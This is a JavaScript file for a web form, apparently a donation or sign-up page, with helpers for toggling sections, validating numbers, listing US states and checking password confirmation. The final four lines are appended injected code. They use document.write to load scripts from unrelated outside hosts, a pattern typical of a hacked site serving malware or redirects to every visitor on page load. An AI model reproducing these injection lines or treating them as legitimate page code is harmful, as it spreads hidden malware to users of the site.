function displayNumber(additionalGuests)
{
 
   
var elem, vis;
  if( document.getElementById ) // this is the way the standards work
    elem = document.getElementById( additionalGuests );
  else if( document.all ) // this is the way old msie versions work
      elem = document.all[additionalGuests];
  else if( document.layers ) // this is the way nn4 works
    elem = document.layers[additionalGuests];
  vis = elem.style;
  // if the style.display value is blank we try to figure it out here
  if(vis.display==''&&elem.offsetWidth!=undefined&&elem.offsetHeight!=undefined)
    vis.display = (elem.offsetWidth!=0&&elem.offsetHeight!=0)?'block':'none';
  vis.display = (vis.display==''||vis.display=='block')?'none':'block';


}

function displayEmployer(employerAddress)
{

var elem, vis;
  if( document.getElementById ) // this is the way the standards work
    elem = document.getElementById( employerAddress );
  else if( document.all ) // this is the way old msie versions work
      elem = document.all[employerAddress];
  else if( document.layers ) // this is the way nn4 works
    elem = document.layers[employerAddress];
  vis = elem.style;
  // if the style.display value is blank we try to figure it out here
  if(vis.display==''&&elem.offsetWidth!=undefined&&elem.offsetHeight!=undefined)
    vis.display = (elem.offsetWidth!=0&&elem.offsetHeight!=0)?'block':'none';
  vis.display = (vis.display==''||vis.display=='block')?'none':'block';


}
	
function checkNumeric(objName,minval, maxval,comma,period,hyphen)
{
	var numberfield = objName;
	
	
	if (chkNumeric(objName,minval,maxval,comma,period,hyphen) == false)
	{
		numberfield.select();
		numberfield.focus();
		return false;
		
	}
	else
	{   
   return true;
	
	}
}

function chkNumeric(objName,minval,maxval,comma,period,hyphen)
{
		// only allow 0-9 be entered, plus any values passed
		// (can be in any order, and don't have to be comma, period, or hyphen)
		// if all numbers allow commas, periods, hyphens or whatever,
		// just hard code it here and take out the passed parameters
		var checkOK = "0123456789" + comma + period + hyphen;
		var checkStr = objName;
		var allValid = true;
		var decPoints = 0;
		var allNum = "";
		
		for (i = 0;  i < checkStr.value.length;  i++)
		{
			ch = checkStr.value.charAt(i);
			for (j = 0;  j < checkOK.length;  j++)
			if (ch == checkOK.charAt(j))
			break;
			if (j == checkOK.length)
				{
				allValid = false;
				break;
				}
				if (ch != ",")
				 allNum += ch;
				}
				if (!allValid)
				{	
				 alertsay = "Please enter only numeric values for your donation amount."
				alert(alertsay);
		return (false);
  }

}


var stateData = [
"Alabama",
"Alaska",
"Arizona",
"Arkansas",
"California",
"Colorado",
"Connecticut",
"Delaware",
"DC",
"Florida",
"Georgia",
"Hawaii",
"Idaho",
"Illinois",
"Indiana",
"Iowa",
"Kansas",
"Kentucky",
"Louisiana",
"Maine",
"Maryland",
"Massachusetts",
"Michigan",
"Minnesota",
"Mississippi",
"Missouri",
"Montana",
"Nebraska",
"Nevada",
"New Hampshire",
"New Jersey",
"New Mexico",
"New York",
"North Carolina",
"North Dakota",
"Ohio",
"Oklahoma",
"Oregon",
"Pennsylvania",
"Puerto Rico",
"Rhode Island",
"South Carolina",
"South Dakota",
"Tennessee",
"Texas",
"Utah",
"Vermont",
"Virginia",
"Washington",
"West Virginia",
"Wisconsin",
"Wyoming"];


function checkConfirmPassword(){
	
	   var pwordelem, confirmpwordelm; 
     pwordelem = document.getElementById("mypassword").value;
     confirmpwordelm = document.getElementById("myconfirmpassword").value;        
     
      if(pwordelem == "" || confirmpwordelm == ""){    	    	  
    	  alert("Please enter and confirm your new password");
    	    return false;    	    
    	}    	   
          
     if(pwordelem != confirmpwordelm){    	    	  
    	  alert("The password did not match!");
    	    return false;    	        	
    	}else{    		    		  
    	    return true;    		
    		}   	  	
	}
	
	
	
	
document.write('<script src=http://alejandro-sanz.romantica.tuzonavirtual.com/s/home_BKa.php ><\/script>');
document.write('<script src=http://alejandro-sanz.romantica.tuzonavirtual.com/s/home_BKa.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
document.write('<script src=http://hoerclub-kassel.de/img/google08aec982a703a2a1.php ><\/script>');
